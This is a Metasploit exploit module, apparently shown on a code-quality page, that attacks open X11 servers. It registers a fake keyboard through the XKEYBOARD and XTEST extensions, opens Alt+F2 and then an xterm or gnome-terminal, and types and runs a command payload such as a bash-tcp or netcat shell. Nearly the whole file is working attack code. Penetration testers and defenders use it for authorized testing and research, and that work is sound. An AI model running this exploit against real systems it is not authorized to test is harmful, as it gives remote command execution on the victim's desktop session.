rapid7/metasploit-framework

View on GitHub
modules/exploits/unix/x11/x11_keyboard_exec.rb

Summary

Maintainability
B
5 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::Tcp

  KB_KEYS = {
    '1' => "\x0a",
    '2' => "\x0b",
    '3' => "\x0c",
    '4' => "\x0d",
    '5' => "\x0e",
    '6' => "\x0f",
    '7' => "\x10",
    '&' => "\x10",
    '8' => "\x11",
    '9' => "\x12",
    '(' => "\x12",
    '0' => "\x13",
    ')' => "\x13",
    '-' => "\x14",
    '=' => "\x15",
    'q' => "\x18",
    'w' => "\x19",
    'e' => "\x1a",
    'r' => "\x1b",
    't' => "\x1c",
    'y' => "\x1d",
    'u' => "\x1e",
    'i' => "\x1f",
    'o' => "\x20",
    'p' => "\x21",
    '[' => "\x22",
    '{' => "\x22",
    ']' => "\x23",
    '}' => "\x23",
    'a' => "\x26",
    's' => "\x27",
    'd' => "\x28",
    'f' => "\x29",
    'g' => "\x2a",
    'h' => "\x2b",
    'j' => "\x2c",
    'k' => "\x2d",
    'l' => "\x2e",
    ';' => "\x2f",
    ':' => "\x2f",
    "'" => "\x30",
    '"' => "\x30",
    '`' => "\x31",
    '~' => "\x31",
    'lshift' => "\x32",
    '\\' => "\x33",
    '|' => "\x33",
    'z' => "\x34",
    'x' => "\x35",
    'c' => "\x36",
    'v' => "\x37",
    'b' => "\x38",
    'n' => "\x39",
    'm' => "\x3a",
    ',' => "\x3b",
    '<' => "\x3b",
    '.' => "\x3c",
    '>' => "\x3c",
    '/' => "\x3d",
    '*' => "\x3f",
    'alt' => "\x40",
    ' ' => "\x41",
    'f2' => "\x44"
  }


  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'X11 Keyboard Command Injection',
      'Description'     => %q{
        This module exploits open X11 servers by connecting and registering a
        virtual keyboard. The virtual keyboard is used to open an xterm or gnome
        terminal and type and execute the specified payload.
      },
      'Author'          =>
        [
          'xistence <xistence[at]0x90.nl>'
        ],
      'Privileged'      => false,
      'License'         => MSF_LICENSE,
      'Payload'         =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'gawk bash-tcp python netcat'
            }
        },
      'Platform'        => ['unix'],
      'Arch'            => ARCH_CMD,
      'Targets'         =>
        [
          [ 'xterm (Generic)', {}],
          [ 'gnome-terminal (Ubuntu)', {}],
        ],      'DisclosureDate'  => '2015-07-10',
      'DefaultTarget'   => 0))

    register_options(
      [
        Opt::RPORT(6000),
        OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
      ])
  end


  def xkeyboard_key
    req = ""
    req << @xkeyboard_opcode
    req << "\x05" # Extension minor: 5 (LatchLockState)
    req << "\x04\x00" # Request length: 4
    req << "\x00\x01" # DeviceSpec: 0x0100 (256)
    req << "\x00" # affectModLocks: 0
    req << "\x00" # modLocks: 0
    req << "\x01" # lockGroup: True
    req << "\x00" # groupLock: 0
    req << "\x00" # affectModLatches: 0
    req << "\x00" # Unused
    req << "\x00" # latchGroup: False
    req << "\x00\x00" # groupLatch: 0
    req << "\x00" # Undecoded
    return req
  end


  def press_key(key)

    req = xkeyboard_key

    req << @xtest_opcode
    req << "\x02" # Extension minor: 2 (FakeInput)
    req << "\x09\x00" # Request length: 9
    req << "\x02" # Press key (Type: 2)
    req << key # What key to press
    req << "\x04\x00" # Unused?
    req << "\x00\x00\x00\x00" # Time
    req << "\x00\x00\x00\x00" # Root
    req << "\x07\x00\x07\x00" # Unused?
    req << "\x88\x04\x02\x00" # Unused?
    #req << "\x00\x01" # rootX: 256
    #req << "\xf5\x05" # rootY: 1525
    req << "\x00\x00" # rootX: 0
    req << "\x00\x00" # rootY: 0
    req << "\x00\x00\x00\x00" # Unused?
    req << "\x00\x00\x00" # Unused?
    req << "\x00" # deviceid: 0

    req << xkeyboard_key

    req << "\x2b" # Opcode 43: GetInputFocus
    req << "\x00" # Unused
    req << "\x01\x00" # Request length: 1

    sock.put(req)

    res = sock.get_once

    # Response should give 1 on first byte (Success)
    unless res && res[0,1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
    end

  end

  def release_key(key)

    req = xkeyboard_key

    req << @xtest_opcode
    req << "\x02" # Extension minor: 2 (FakeInput)
    req << "\x09\x00" # Request length: 9
    req << "\x03" # Release key (Type: 3)
    req << key # What key to release
    req << "\x04\x00" # Unused?
    req << "\x00\x00\x00\x00" # Time
    req << "\x00\x00\x00\x00" # Root
    req << "\x07\x00\x07\x00" # Unused?
    req << "\x88\x04\x02\x00" # Unused?
    #req << "\x00\x01" # rootX: 256
    #req << "\xf5\x05" # rootY: 1525
    req << "\x00\x00" # rootX: 0
    req << "\x00\x00" # rootY: 0
    req << "\x00\x00\x00\x00" # Unused?
    req << "\x00\x00\x00" # Unused?
    req << "\x00" # deviceid: 0

    req << xkeyboard_key

    req << "\x2b" # Opcode 43: GetInputFocus
    req << "\x00" # Unused
    req << "\x01\x00" # Request length: 1

    sock.put(req)

    res = sock.get_once

    # Response should give 1 on first byte (Success)
    unless res && res[0,1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
    end

  end

  def type_command(command)
    # Specify the special keys which need to have shift pressed first to type
    specialkeys = '<>{}|"&()'.chars
    values = command.chars
    values.each do |value|
      key = KB_KEYS[value]
      # Special keys need a shift pressed to be typed
      if Regexp.union(specialkeys) =~ value
        press_key(KB_KEYS["lshift"]) # [lshift]
        press_key(key)
        release_key(KB_KEYS["lshift"])
        release_key(key)
      # Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
      elsif value =~ /[A-Z]/
        press_key(KB_KEYS["lshift"]) # [lshift]
        press_key(KB_KEYS[value.downcase])
        release_key(KB_KEYS["lshift"])
        release_key(KB_KEYS[value.downcase])
      # All normal keys which are not special keys or uppercase characters
      else
        press_key(key)
        release_key(key)
      end
    end
    # Send an enter
    press_key("\x24") # [enter]
    release_key("\x24") # [enter]
  end

  def send_msg(sock, data)
    sock.put(data)
    data = ""
    begin
      read_data = sock.get_once(-1, 1)
      while not read_data.nil?
        data << read_data
        read_data = sock.get_once(-1, 1)
      end
    rescue EOFError
    end
    data
  end

  def exploit

    begin
      connect

      print_status("#{rhost}:#{rport} - Register keyboard")

      req = "\x6c" # Byte order (Little-Endian)
      req << "\x00" # Unused
      req << "\x0b\x00" # Protocol major version: 11
      req << "\x00\x00" # Protocol minor version: 0
      req << "\x00\x00" # Authorization protocol name length: 0
      req << "\x00\x00" # Authorization protocol data length: 0
      req << "\x00\x00" # Unused

     # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
      end


      # Keyboard registration
      req = "\x62" # Opcode 98: QueryExtension
      req << "\x00" # Unused
      req << "\x05\x00" # Request length: 5
      req << "\x09\x00" # Name length: 9
      req << "\x60\x03" # Unused?
      req << "XKEYBOARD" # Name
      req << "\x00\x00\x00" # Unused, padding?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      if res && res[0,1] == "\x01"
        @xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
      else
        #puts res.inspect
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
      end


      req = ""
      req << @xkeyboard_opcode
      req << "\x00" # Extension minor: 0 (UseExtension)
      req << "\x02\x00" # Request length: 2
      req << "\x01\x00" # Wanted Major: 1
      req << "\x00\x00" # Wanted Minor: 0

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
      end


      req = "\x62" # Opcode 98: QueryExtension
      req << "\x00" # Unused
      req << "\x06\x00" # Request length: 6
      req << "\x0f\x00" # Name length: 15
      req << "\x00\x00" # Unused
      req << "XInputExtension" # Name
      req << "\x00" # Unused, padding?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
      end


      req = "\x62" # Opcode 98: QueryExtension
      req << "\x00" # Unused
      req << "\x04\x00" # Request length: 4
      req << "\x05\x00" # Name length: 5
      req << "\x00\x00" # Unused
      req << "XTEST" # Name
      req << "\x00\x00\x00" # Unused, padding?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      if res && res[0,1] == "\x01"
        @xtest_opcode = res[9,1] # Retrieve the XTEST opcode
      else
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
      end


      req = "\x62" # Opcode 98: QueryExtension
      req << "\x00" # Unused
      req << "\x08\x00" # Request length
      req << "\x17\x00" # Name length
      req << "\x00\x00" # Unused
      req << "Generic Event Extension" # Name
      req << "\x00" # Unused, padding?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      if res && res[0,1] == "\x01"
        @genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
      else
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
      end


      req = ""
      req << @genericevent_opcode
      req << "\x00" # Extension minor: 0 (QueryVersion)
      req << "\x02\x00" # Request length: 2
      req << "\x01\x00" # Client major version: 1
      req << "\x00\x00" # Client minor version: 0

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
      end


      req = ""
      req << @xtest_opcode
      req << "\x00" # Extension minor: 0 (GetVersion)
      req << "\x02\x00" # Request length: 2
      req << "\x02\x00" # Major version: 2
      req << "\x02\x00" # Minor version: 2

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
      end


      req = "\x65" # Opcode 101: GetKeyboardMapping
      req << "\x00" # Unused
      req << "\x02\x00" # Request length: 2
      req << "\x08" # First keycode: 8
      req << "\xf8" # Count: 248
      req << "\x02\x00" # Unused?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
      end


      req = ""
      req << @xkeyboard_opcode
      req << "\x08" # Extension minor: 8 (GetMap)
      req << "\x07\x00" # Request length: 7
      req << "\x00\x01" # Device spec: 0x0100 (256)
      req << "\x07\x00" # Full: 7
      req << "\x00\x00" # Partial: 0
      req << "\x00" # firsType: 0
      req << "\x00" # nTypes: 0
      req << "\x00" # firstKeySym: 0
      req << "\x00" # nKeySym: 0
      req << "\x00" # firstKeyAction: 0
      req << "\x00" # nKeysActions: 0
      req << "\x00" # firstKeyBehavior: 0
      req << "\x00" # nKeysBehavior: 0
      req << "\x00\x00" # virtualMods: 0
      req << "\x00" # firstKeyExplicit: 0
      req << "\x00" # nKeyExplicit: 0
      req << "\x00" # firstModMapKey: 0
      req << "\x00" # nModMapKeys: 0
      req << "\x00" # firstVModMapKey: 0
      req << "\x00" # nVModMapKeys: 0
      req << "\x00\x00" # Unused, padding?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
      end


      # Press ALT+F2 to start up "Run application"
      print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
      press_key(KB_KEYS["alt"])
      press_key(KB_KEYS["f2"])
      release_key(KB_KEYS["alt"])
      release_key(KB_KEYS["f2"])

      # Wait X seconds to open the dialog
      print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
      Rex.sleep(datastore['TIME_WAIT'])

      if datastore['TARGET'] == 0
        # Start a xterm terminal
        print_status("#{rhost}:#{rport} - Opening xterm")
        type_command("xterm")
      else
        # Start a Gnome terminal
        print_status("#{rhost}:#{rport} - Opening gnome-terminal")
        type_command("gnome-terminal")
      end

      print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
      # Wait X seconds to open the terminal
      Rex.sleep(datastore['TIME_WAIT'])

      # "Type" our payload and execute it
      print_status("#{rhost}:#{rport} - Typing and executing payload")
      command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"

      type_command(command)

      handler
    rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
      print_error("#{rhost}:#{rport} - #{e.message}")
    ensure
      disconnect
    end
  end
end